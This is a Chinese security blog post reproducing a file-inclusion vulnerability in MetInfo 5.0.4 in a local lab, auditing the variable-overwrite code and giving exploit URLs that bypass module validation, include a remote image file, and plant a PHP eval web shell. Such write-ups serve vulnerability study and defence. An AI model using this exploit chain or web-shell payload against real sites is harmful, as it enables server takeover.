freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

metinfo_5.0.4_file-Include漏洞复现
2023-07-15 23:38:55
所属地 广东省

前言

MetInfo企业网站管理系统采用php+ Mysql架构全站内置了SEO搜索引优化机制,支持用户自定义界面语言(全球各种语言),拥有企业网站常用的模块功能(企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理),

强大灵活的后台管理功能、静态页面生成功能、个性化模块添加功能、不同栏目自定义 FLASH样式功能等,可为企业打造出大气漂亮且具有营销力的精品网站

1.漏洞描述:

MetInfo 是一个专业的企业级CMS建站系统,它5.0.4 版本存文件包含漏洞

2.漏洞等级:

高危

3.影响版本:

5.0.4

4.准备工具:

VMware环境

phpStudy

metinfo_5.0.4源码

seay源码审计系统

5.漏洞复现:

seay源码审计系统工具发现可疑漏洞点,接下来进行代码审计


可以看到这个/about/index.php文件里包含"../include/module.php"和$mouble这个变量,进行跟踪,打开../include/module.php,module.php里还包含着"common.inc.php",我们先对module.php进行代码审计

1689435288_64b2bc98bf32effe30683.png!small

if($fmodule!=7){
  if($mdle==100)$mdle=3;
  if($mdle==101)$mdle=5;
  $module = $modulefname[$mdle][$mdtp];
  if($module==NULL){okinfo('../404.html');exit();}
  if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
    if($fmodule==$mdle){
      $module = $modulefname[$mdle][$mdtp];
    }
    else{
      okinfo('../404.html');exit();
    }
  }
  else{
    if($list){
      okinfo('../404.html');exit();
    }
    else{
      $module = $modulefname[$mdle][$mdtp];
    }
  }
  if($mdle==8){
    if(!$id)$id=$class1;
    $module = '../feedback/index.php';
  }
}

可以看到当fmodule这个变量不等于7时,它就会对$module进行验证,接着对"common.inc.php"进行跟踪

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
	foreach($$_request as $_key => $_value) {
		$_key{0} != '_' && $$_key = daddslashes($_value);
	}
}

发现common.inc.php的这段代码有漏洞点,这段代码意思是将GPC传过来的参数和值注册伪变量,存在变量覆盖。

接下来,更改一下"about/include.php"的代码,对$module这个变量输出,发现输出了show.php

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
var_dump($module);//试着对$module这个变量输出
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

1689435333_64b2bcc5d149de11738e1.png!small

我们要让fmodule=7,绕过对$module的验证

http://192.168.175.145/MetInfo5.0.4/about/index.php?fmodule=7&module=777777

1689435351_64b2bcd7a409734df678a.png!small发现输出了我们传进去的module的参数,所以接下来配合远程包含,上传图片马,在图片马里加入代码<?php phpinfo();?>和<?php file_put_contents('shell.php','@eval($_REQUEST[777])')?>,发现利用成功,在同级目录下创建了shell.php,接下来我们用蚁剑,利用成功

http://192.168.175.145/MetInfo5.0.4/about/index.php?fmodule=7&module=http://192.168.175.145/a.jpg

1689435367_64b2bce7621b7642cb425.png!small

1689435386_64b2bcfa75102c3a2c2ca.png!small

1689435397_64b2bd05b437eaaaeb513.png!small

# 漏洞 # 渗透测试 # web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者